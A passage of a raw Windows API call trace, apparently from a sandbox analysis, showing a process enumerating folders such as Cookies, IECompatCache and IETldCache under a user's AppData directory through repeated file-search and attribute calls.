lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0068.481] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0068.482] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0068.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0068.482] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", lpFilePart=0x0) returned 0x3b [0068.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.482] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\cookies"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x1efb45c0, ftLastAccessTime.dwHighDateTime=0x1d2faa7, ftLastWriteTime.dwLowDateTime=0x1efb45c0, ftLastWriteTime.dwHighDateTime=0x1d2faa7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.482] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", lpFilePart=0x0) returned 0x3b [0068.482] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.482] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.482] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.482] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.482] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0068.482] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0068.482] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.482] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", lpFilePart=0x0) returned 0x3f [0068.482] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.482] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\cookies\\low"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xab2081d0, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0x11368c20, ftLastAccessTime.dwHighDateTime=0x1d2faf6, ftLastWriteTime.dwLowDateTime=0x11368c20, ftLastWriteTime.dwHighDateTime=0x1d2faf6, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.484] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", lpFilePart=0x0) returned 0x3f [0068.484] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.503] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.522] FindNextFileW (in: hFindFile=0x6fd8ac0, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0068.523] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.523] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low", lpFilePart=0x0) returned 0x3f [0068.523] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.524] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0068.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.525] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies", lpFilePart=0x0) returned 0x3b [0068.525] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.525] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.525] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", lpFilePart=0x0) returned 0x41 [0068.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0068.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\iecompatcache"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0068.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0068.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", lpFilePart=0x0) returned 0x41 [0068.526] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.526] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0068.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0068.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", lpFilePart=0x0) returned 0x45 [0068.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0068.526] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\iecompatcache\\low"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0068.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0068.526] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", lpFilePart=0x0) returned 0x45 [0068.526] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.527] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0068.527] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low", lpFilePart=0x0) returned 0x45 [0068.527] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.527] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.527] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache", lpFilePart=0x0) returned 0x41 [0068.527] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IECompatCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.527] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.527] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", lpFilePart=0x0) returned 0x3e [0068.527] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\ietldcache"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa807d7f0, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xfe9256a4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.527] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", lpFilePart=0x0) returned 0x3e [0068.527] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.528] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.528] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", lpFilePart=0x0) returned 0x42 [0068.528] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\ietldcache\\low"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xb641f470, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xb641f470, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.528] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", lpFilePart=0x0) returned 0x42 [0068.528] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.528] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.528] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low", lpFilePart=0x0) returned 0x42 [0068.528] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\Low\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fd8ac0 [0068.528] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.529] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache", lpFilePart=0x0) returned 0x3e [0068.529] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\IETldCache\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.529] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.529] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpFilePart=0x0) returned 0x3d [0068.529] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\libraries"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xac6dc250, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xac6dc250, ftLastWriteTime.dwHighDateTime=0x1d2e631, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0068.529] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpFilePart=0x0) returned 0x3d [0068.529] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.529] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.529] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpFilePart=0x0) returned 0x3d [0068.529] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.530] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.530] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x45 [0068.530] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\network shortcuts"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, ftLastWriteTime.dwLowDateTime=0xaeeef71c, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.530] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x45 [0068.530] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.530] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.530] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x6cfe678, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x45 [0068.531] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*", lpFindFileData=0x6cfe888 | out: lpFindFileData=0x6cfe888) returned 0x6fd8ac0 [0068.531] FindClose (in: hFindFile=0x6fd8ac0 | out: hFindFile=0x6fd8ac0) returned 1 [0068.531] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", nBufferLength=0x105, lpBuffer=0x6cfe690, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts", lpFilePart=0x0) returned 0x45 [0068.531] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\microsoft\\windows\\printer shortcuts"), fInfoLevelId=0x0, lpFileInformation=0x6cfeb50 | out: lpFileInformation=0x6cfeb50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xa7fbf110, ftLastAccessTime.dwHighDateTime=0x1d2e631, 